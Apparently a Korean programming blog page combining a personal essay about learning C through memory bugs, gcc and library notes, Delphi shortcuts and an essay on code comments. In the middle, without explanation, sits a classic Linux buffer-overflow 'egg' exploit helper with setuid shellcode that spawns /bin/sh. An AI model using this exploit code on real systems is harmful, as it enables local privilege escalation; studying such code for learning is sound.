내가 프로그래밍이란걸 접한지 년도로만 15년이 되었다.
따지고 보면 어느새 인생의 반을 프로그래밍과 같이 지내온 셈이 되었다.
컴퓨터라는 내 인생의 큰 동반자와 만난지는 19년정도(?) 된것 같다.

처음 내 친구들이 그랬듯이 처음 컴퓨터는 나에겐 오락기와 같았다.
쉴세없이 유닛을 점프(jump)하기 위해서 스페이스바를 두들겨 고장난 스페이스바를 사용해야만 했었다.
당시 "테트리스"나 "초롱이의 모험"은 나에게 새로운 세상을 보여주었다.
그리고, 또하나의 사건. "PCtools"와의 만남. "GW basic"과의 만남.
그건 나에게 있어 인생을 송두리채 바꾸어놓았다.

중2땐 어머니께서 컴퓨터를 못하게 하기 위해서 베란다에 컴퓨터를 분해해놓으셨고,
난 그래도 컴퓨터를 하기 위해서 추위를 벌벌떨며, 전기선만 방안으로 넣어 몰래 컴퓨터를 하곤했다.
그때 난 그 베란다에서 오락이 아닌, PCtools와 GW basic을 했었다.

당시 한글 2.0의 모습을 따기 위해서 GW basic으로 메뉴바를 만들어 20000라인의 코드를 짰었다.
(물론, 한줄에 1라인은 아니다. 기본적으로 GW basic의 라인번호는 10씩 증가했으며, 왠만한 함수 성격의
코드는 훨씬 더 큰 크기인 100이나 1000의 단위로 증가했었다.)
결국 12MHz의 CPU와 128kbytes 정도의 RAM을 가진 당시 나의 첫 컴퓨터는 "Out of Memory"를 내며 죽어버렸고, 참담한 경험을 했었다.

그러나, 그런 나의 경험은 그 뒤 "C"언어의 기반이 되었고, 현재의 나를 만들었다.

대학교를 입학하여 정말 나와 비슷한 수준의 친구들을 만났을때,
우리는 과제를 하기 위해서 (물론, 주어진 과제를 넘어서 그 이상의 것을 만들기 위해서)
참 많은 밤을 지새우곤 했었다.

그 과정에서 참 허무하게 힘을 빼곤 했던 것이 바로 소위 "뻘짓"이였다.

int main()
{

    char* str;
    strcpy(str, "test");
    return 0;
}
라든가,

int main()
{
   char str[10];
    strcpy(str, "0123456789");
    return 0;
}
과 같은 류의 버그는 당시 우리를 매우 괴롭혔다.

만일 당신이 지금 위의 코드를 보고도 무엇이 문제인지를 모른다면... 조금 더 해커(hacker)의 마인드를 가지기를 권한다.

아무튼, 위의 사소한 버그를 덕분에(?) 근 이틀을 밤새며 고생을 했던 적도 있다.
(물론, 위와 동일한 code는 아니다. 상당히 복잡했으며, 따라가기도 버겨웠었다. 지금은 아니지만... ^^)

이틀을 밤새고도 무엇이 문제인지 몰라 허무해 할 무렵, 우연히 오류가 나지 않았고 책에서 원인을 찾았을때...
우리는 참 많이도 자신을 허무하게 느꼈었다.

도대체 우린 그동안 무얼한 것인가? 저런 사소한 것을 몰랐던 것인가?
우린 과연 이길로 성공할 수 있을까?

그러나, 지금. 그때의 그 경험들은 나의 든든한 밑거름이 되어 주고 있다.
그 뒤로 우리는 절대 위와 같은 버그를 만들지 않았으며, memory의 구조, stack과 heap의 차이, strcpy의 맹점 등등.
수업시간에 말로서는 절대 배울수 없는 것들을 참 많이 느끼고 배우게 되었다.
동기들... 아니, 선배들마저도 하는 흔한 실수는 우리에게는 더이상 없었다.



지금 나는 한 IT 기업에서 연구원으로 일을 하고 있다.
처음 대학교에 갔을때 느꼈던것은 나와 같은 실력의 사람들이 많다는 것이였고, 더 대단한 사람들도 많다는 것이였다.
그리고, 처음 취업을 한 지금도 같은 것을 느끼고 있다.
아니, 오히려 더 하다. 수년에서 십수년간의 경험을 바탕으로 한 엘리트 들이 모인 곳이다.
그들과 회의나 세미나를 할때엔 내머리가 돌인것 같은 생각이 든적도 많다.

그러나, 그 가운데에서 살아남을 수 있는 것은 어릴적의 경험들이였다.
이제야 난 알것 같다.
그때 그런 일들은 절대 뻘짓이 아니였음을...

프로그래머에겐 "뻘짓"이란 없다.
그 무엇과도 바꿀수 없는 경험만이 있을뿐...

만약 지금 당신이 프로그래밍을 공부하고 있는 사람이라면,
만약 지금 당신이 프로그래밍을 잘하고 싶어하는 사람이라면,
"뻘짓"을 두려워 하지 말라. 그것은 단시간에 될 수 있는것이 아니며, 든든한 당신의 밑거름이 될것이다.

그것은 남들이 책을 찾아보는 시간에, 당신은 "아, 이거"하며 넘어갈 수 있게 해줄것이며,
누군가 장황하게 멋진 이론을 펼칠때, 당신에겐 그의 오류를 발견하게 해줄 것이다.

그것이... 경험이고, "뻘짓"이다.
그 무엇과도 바꿀수 없는...



2008.11.29    hackereyes.


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


#define DEFAULT_OFFSET          0
#define DEFAULT_BUFFER_SIZE     256
#define DEFAULT_EGG_SIZE        2048
#define NOP             0x90

char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" //setuid(geteuid())
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
char    *buff, *ptr, *egg;
long    *addr_ptr, addr;
int     offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int     i, eggsize=DEFAULT_EGG_SIZE;

if ( argc > 1 ) bsize = atoi(argv[1]);
if ( argc > 2 ) offset = atoi(argv[2]);
if ( argc > 3 ) eggsize = atoi(argv[3]);

if ( !(buff = malloc(bsize)))
{
printf("Can't allocate memory for bsize\n");
exit(0);
}

if ( !(egg = malloc(eggsize)))
    {
    printf("Can't allocate memory for eggsize");
    exit(0);
    }

    addr = get_sp() - offset;
    printf("Using address: 0x%x\n", addr);

    ptr = buff;
    addr_ptr = (long *)ptr;
    for(i = 0; i < bsize; i+= 4)
    *(addr_ptr++) = addr;

    ptr = egg;
    for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

    for(i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

    buff[bsize - 1] = '\0';
    egg[eggsize - 1] = '\0';

    memcpy(egg, "EGG=", 4);
    putenv(egg);
    memcpy(buff, "RET=", 4);
    putenv(buff);
    system("/bin/bash");
}

*gcc 버전 확인
gcc -v

*gcc로 컴파일

gcc로 컴파일할 파일명
ex)gcc test.c
a.out이라는 실행 파일이 생김
./a.out으로 파일 실행

*gcc로 실행파일 지정 컴파일
gcc -o test test.c

*gcc로 컴파일만 하고 링크하지 않기
gcc -c test.c

*두 개 파일을 부분 컴파일 후 링크시키고 실행
gcc -c a.c b.c
gcc -o a a.o b.o
./a

*헤더파일
헤더파일 중에 <>로 묶인 것과 ""로 묶인 것이 있다.
<>로 묶인 것은 /usr/include에서 파일을 검색하고,
""로 묶인 것은 현재 디렉토리 및 -I옵션을 준 디렉토리에서 헤더파일을 찾는다.
gcc a.c -I..
gcc a.c -I/usr/src/linux/include

-t 묶음 파일의 내용을 표시하는 옵션
ar t libc.a | less

정적 라이브러리 : a라는 확장자
공유 라이브러리 : so라는 확장자

라이브러리 만들기

ar r libtest.a test.o
-s 옵션 : 목차를 갱신하거나 생성해줌
ar s libtest.a
ar rs libtest.a test.o

라이브러리 사용
gcc -o test test.c -ltest
gcc -o test test.c -ltest -L.

-l옵션 뒤에 링크하고 싶은 라이브러리 이름을 써줌
라이브러리 파일의 이름에 공통적으로 붙는 lib는 빼주고, '.'을 포함한 확장자도 빼준 나머지를 씀
수학라이브러리인 libm.a를 링크하고 싶을 때는 -lm 과 같은 옵션을 붙여야 함

gcc의 기본 라이브러리 디렉토리
/lib, /usr/lib, /usr/local/lib

*도움말 man

ex) man errno
man -s 2 write (섹션 지정하는 옵션)

*에러 처리

#include <string.h>
char *strerror(int errnum);

#include <stdio.h>
void perror(const char* msg);

사용

#include<errno.h>
fprintf(stderr, "ERROR: %s\n", strerror(errno));
perror("error");

-출처 : 영진닷컴 Unix & Linux C programming

출처 : 청주콜라님 네이버 블로그
원문 : 델파이 단축키


[폼 디자이너]

Ctrl + 방향키(←↑→↓)                     : 컴포넌트 위치 이동

Shift + Ctrl + 방향키(←↑→↓)              : 컴포넌트 위치 이동(빠르게)

Shift + 방향키(←↑→↓)                      : 컴포넌트 크기 변경

선택 후 ESC                                        : Parent컴포넌트로 이동

 

[오브젝트 인스펙터]

Ctrl + ↓                            : 컴포넌트 선택기 팝업
(팝업 후 알파벳 문자 입력하여 해당 컴포넌트로 이동 가능)

Alt + ↓                             : Property Combo 선택기 팝업
(팝업 후 알파벳 문자 입력하여 해당 컴포넌트로 이동 가능)

Ctrl + Enter                           : 열거형 Property값을 다음 값으로 변경

+선택 후, ←,→                           : 하위 Property펼치기,접기

Ctrl + Tab                           : Properties,Events탭 전환

..선택 + Ctrl + Enter     : Property Editor 열기

Tab                                               : Property Name/Value토글,  Property 쪽에 Cursor 가 위치한
 상태에서 키보드를 치면 Incremental Search

 

            

 

[코드 인사이트(Code Insight)]

Ctrl + Space                                : 코드완성 마법사

Ctrl + Shift                     : 메소드 파라미터 팁

Ctrl + J                                : 코드 템플릿 사용

Ctrl + Shift + Up/Down                Object 의 Member function/procedure 의 선언부와 구현부를 이동

Ctrl + Shift + C         Object 의 Member function/procedure 의 선언부와 구현부중

                         의 한가지를 코딩 한후 누르게 되면 나머지 선언부 또는 구

                         현부를 완성시켜줌

 

[코드탐색기]

F2                                                : 이름 변경하기(Uses제외)

DoubleClick                                        : 소스코드 탐색기의 해당 코드로 이동

Ctrl + Shift + E                           : 탐색기<->에디터 창 이동

 

 


 

[소스코드 에디터]

Ctrl + S                           : 파일 저장

Ctrl + F4                                  : 파일 닫기

Ctrl + Shift + C                            : Method/Procedure/Property자동생성

Ctrl + Shift + ↑(↓)                       : 선언부,구현부 상호간 이동

Ctrl + ←,→                              : 이전 단어, 다음 단어

Ctrl + Shift + ←,→                       : 이전 단어, 다음 단어까지 블록

Ctrl + Home                                        : 소스코드 맨 앞으로 이동

Ctrl + End                                        : 소스코드 맨 뒤로 이동

Shift + Home                                        : 현재 라인 맨 앞까지 블럭

Shift + End                                        : 현재 라인 맨 뒤까지 블럭

Ctrl + PageUp                              : 현재 화면의 맨 윗줄로 이동

Ctrl + PageDown                           : 현재 화면의 맨 아랫줄로 이동

Ctrl + Shift + I(U)                          : 현재 라인에 들여쓰기(내어쓰기)

Shift + Alt + 방향키(←↑→↓)                : 블록 사각형 지정

Ctrl + KL                                        : 캐럿이 Line Home에 있을 때, Line 블럭

Ctrl + T                           : 현재 위치에서 마지막 단어까지 삭제

Ctrl + I                                     : 블럭 지정된 문자를 공백으로 변환

Alt + {, }                                        : '{'괄호 앞,뒤에서 사용. 짝 찾기.

Ctrl + N                                   : 다음 Line 맨 앞으로 줄바꿈

Ctrl + M                                        : 줄바꿈

Alt + BackSpace                            : 실행 취소

Ctrl + E                                    : 한 글자 찾기

Ctrl + ↑(↓)                               : 캐럿 고정 스크롤

Ctrl + F                                    : 찾기

Ctrl + R                                    : 바꾸기

F3                                                : Search Again

Ctrl + Enter : 현재위치의 단어로 File Open 시도 현재 Path 에서 찾지 못하면 Dialog

Ctrl + O, C  Column Block Mode (또는 Alt키를 누른상태에서 Mouse를 드래그 해 

                 도 컬럼블럭 설정이 가능, Shift + Alt + Arrow Key 를 사용해도 컬

                 럼블럭 설정)

Ctrl + O, K Line Block Mode

 

[델파이 GUID 생성키]

Ctrl + Shift + G

 

[화면이동]

F11   View Object Inspector

F12    Toggle Form/Unit

Alt + 0   View Window List

Ctrl + F12  View Unit

Shift + F12  View Form

Ctrl + PgUp/PgDown  CodeEditor에서 현재페이지의 첫줄(PgUp), 마지막줄(PgDown)로 이동

 

[컴파일/실행]

Ctrl + F9  Compile

F9  Run

F7  Trace Into

F8  Trace Over

F5  Set Breakpoint

Ctrl + F5  Add Watch

Ctrl + F7  Evaluate/Modify

 

 

 

[키 매크로]

Ctrl + Shift + R Record

* 키매크로 작성순서 :  <Ctrl+Shift+R> -> <원하는키> -> <Ctrl+Shift+R>

Ctrl + Shift + P Play

출처 : 낭만주의 프로그래머
원문 : 왜 코드에 주석을 달고 계십니까?

프로그래밍을 배울 무렵에는 누군가 옆에서 "코드에 주석을 달아야지" 하고 말하는 것을 한번 쯤 들어본 적이 있을 거라고 생각합니다. 혹시 코드에 왜 주석이 필요한지에 대해서 되물어 보신 적이 있나요?

코드에 주석을 다는 것은 몇 가지 이유가 있을 수 있습니다.

첫 번째는 코드의 동작에 대해서 설명을 하기 위해서 주석을 다는 경우입니다.
두 번째는 코드의 작성자라든지 소유권이라든지 또는 개정이력 등의 정보를 남기기 위한 경우입니다.
세 번째는 미래에 코드에 추가해야 할 사항이나 고쳐져야 할 내용 등을 잊지 않기 위해서 주석을 남기는 경우입니다.
네 번째는 코드의 문서화를 위한 주석을 다는 경우가 있을 것입니다.
그 밖에도 이유가 있을 수 있겠지만 이러한 범주에서 벗어나지 않을 것 같습니다.

위의 경우 중 어느 경우에 주석을 가장 많이 사용하고 계시나요? 아마도 첫 번째 경우일 것이라고 생각합니다. 물론 저도 그랬었고, 지금도 많은 경우에 첫 번째 용도로 주석을 사용하고 있습니다. 하지만 가장 주석을 달지 말아야 할 경우를 꼽는다면 역시 첫 번째 경우를 꼽겠습니다.

코드를 설명하기 위해서 주석을 다는 경우는 바꾸어서 말한다면 코드 자체로서 코드의 내용이 설명이 되지 않는다는 이야기와 같습니다. 거창한 이야기는 아닙니다. 코드를 작성할 때 변수 이름이나, 함수 이름을 조금만 신경을 써서 선택하기만 해도 코드를 설명하기 위한 주석이 필요 없어지는 경우도 많습니다.

예를 들면 for loop 를 사용할 때 loop를 돌기 위한 변수로 흔히 'i' 라는 변수명을 사용합니다. 코드가 단순하다면 상관없지만 조금만 코드가 복잡해지더라도 왜 loop 를 돌아야하는지 헷갈리는 경우가 많습니다. 더군다나 루프가 중첩이 될 때 i, j, k 와 같은 식의 변수명을 사용한다면 더욱 이해하기 어려워지게 되죠. 이런 경우에 i, j, k 대신에 왜 루프를 돌고 있는지 알려 줄 수 있는 확실한 변수명을 사용한다면 코드가 좀 더 명확해지고 별도로 주석을 달지 않더라도 무슨 동작을 하는 코드인지 확실해집니다.

코드가 이해하기 쉽고 명확하더라도 사람이 이해할 수 있는 언어로 주석을 달아서 무슨 동작을 하는 것인지 알려준다면 더 좋지 않겠는냐고 생각할 수 있습니다. 맞는 말입니다만 한 가지 반드시 지켜야하는 전제조건이 있습니다. 코드가 변경이 되었을 경우 주석도 반드시 변경이 되어야한다는 것입니다.

코드란 한번 작성하고 끝인 경우는 거의 없습니다. 일단 작성이 되면 작성한 사람이 변경을 하던지 아니면 다른 사람이 변경을 하던지 지속적으로 변경이 되는 경우가 대부분입니다. 애초에 주석을 남긴 사람이 코드를 변경할 경우 주석도 같이 변경을 하게 되는 경우가 많지만(자신의 코드에 애정이 있는 경우죠), 그렇지 않은 경우에 많은 경우 코드만 변경이 되고 주석은 변경이 되지 않는 경우가 허다합니다. 이러한 경우는 주석이 없느니만 못하게 됩니다. 코드에 주석이 달려있을 경우 코드를 처음 보는 사람은 주석을 믿게 되는 경우가 많은데 코드와 주석이 불일치한다면 코드의 동작을 오해(?)하게 되기 때문입니다. 극단적인 경우의 예로 코드를 볼 때 주석부터 지우고 본다는 분의 얘기도 들은 적이 있습니다. 주석이 코드와 일치하지 않을 경우 오히려 코드를 이해하는데 방해가 되기 때문일 겁니다.

마틴 파울러가 쓴 'Refactoring'에서는 리팩토링이 필요한 코드에서는 냄새가 나기 때문에 그 냄새를 잘 포착해서 코드를 리팩토링해야한다고 얘기하는데 그 냄새 중의 하나가 바로 코드에 주석이 필요한 경우라고 얘기했습니다. 사람이 이해할 수 없는 코드는 깔끔하게 설계되지 않은 코드이며 그러한 코드의 경우 사람이 이해하기 위해서 주석이 필요하기 때문입니다.

스티브 맥코넬의 'Code Complete' 에서는 주석부터 작성하고 코드를 작성하는 법에 대한 내용을 설명하는 부분이 있습니다. 코드의 알고리즘을 주석으로 먼저 작성을 하여 주석을 line by line 으로 코드로 대체할 수 있을 정도가 되었을 때 주석에 해당하는 코드를 작성하면 결국 코드 자체가 주석의 역할을 하여 스스로 설명하는 코드가 된다는 것입니다. 접근방법은 다르지만 결국 스스로 설명할 수 있는 코드가 훌륭한 코드라는 것에는 뜻을 같이 하는 것 같습니다.

설명을 위한 주석을 남기지 말라는 것은 아닙니다. 다만 지엽적인 코드를 설명하기 위해서 주석을 다는 것은 옳지 않다는 얘기입니다. 코드를 설명하기 위한 주석은 프로그램의 전체적인 구조라든지, 핵심 알고리즘 등을 설명하기 위한 정도가 적당한 것 같습니다. 물론 이러한 경우에도 주석 없이 설명이 가능한 것이 최선이라고 생각합니다.

마지막으로 리팩토링의 한 구절을 인용합니다.

컴퓨터가 이해할 수 있는 코드는 어느 바보나 다 짤 수 있다.
좋은 프로그래머는 사람이 이해할 수 있는 코드를 짠다.

+ Recent posts